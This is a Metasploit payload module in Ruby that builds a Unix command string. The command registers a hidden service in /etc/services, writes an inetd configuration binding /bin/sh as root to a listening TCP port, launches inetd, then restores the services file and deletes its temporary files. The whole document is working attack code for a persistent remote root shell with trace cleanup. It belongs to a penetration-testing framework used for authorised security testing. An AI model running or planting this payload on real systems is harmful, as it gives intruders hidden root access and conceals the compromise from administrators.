##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 487

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Unix Command Shell, Bind TCP (inetd)',
      'Description'   => 'Listen for a connection and spawn a command shell (persistent)',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'unix',
      'Arch'          => ARCH_CMD,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShell,
      'PayloadType'   => 'cmd',
      'Privileged'    => true,
      'RequiredCmd'   => 'inetd',
      'Payload'       =>
        {
          'Offsets' => { },
          'Payload' => ''
        }
      ))
  end

  #
  # Constructs the payload
  #
  def generate
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    tmp_services = "/tmp/." + Rex::Text.rand_text_alpha(32)
    tmp_inet = "/tmp/." + Rex::Text.rand_text_alpha(32)
    svc = Rex::Text.rand_text_alpha_lower(9)

    cmd =
      # Create a clean copy of the services file
      "cp /etc/services #{tmp_services};" +

      # Add our service to the system one
      "echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;" +

      # Create our inetd configuration file with our service
      "echo #{svc} stream tcp nowait root /bin/sh sh>#{tmp_inet};" +

      # First we try executing inetd without the full path
      "inetd -s #{tmp_inet} ||" +

      # Next try the standard inetd path on Linux, Solaris, BSD
      "/usr/sbin/inetd -s #{tmp_inet} ||" +

      # Next try the Irix inetd path
      "/usr/etc/inetd -s #{tmp_inet};" +

      # Overwrite services with the "clean" version
      "cp #{tmp_services} /etc/services;" +

      # Delete our configuration file
      "rm #{tmp_inet} #{tmp_services};";

    return cmd
  end
end
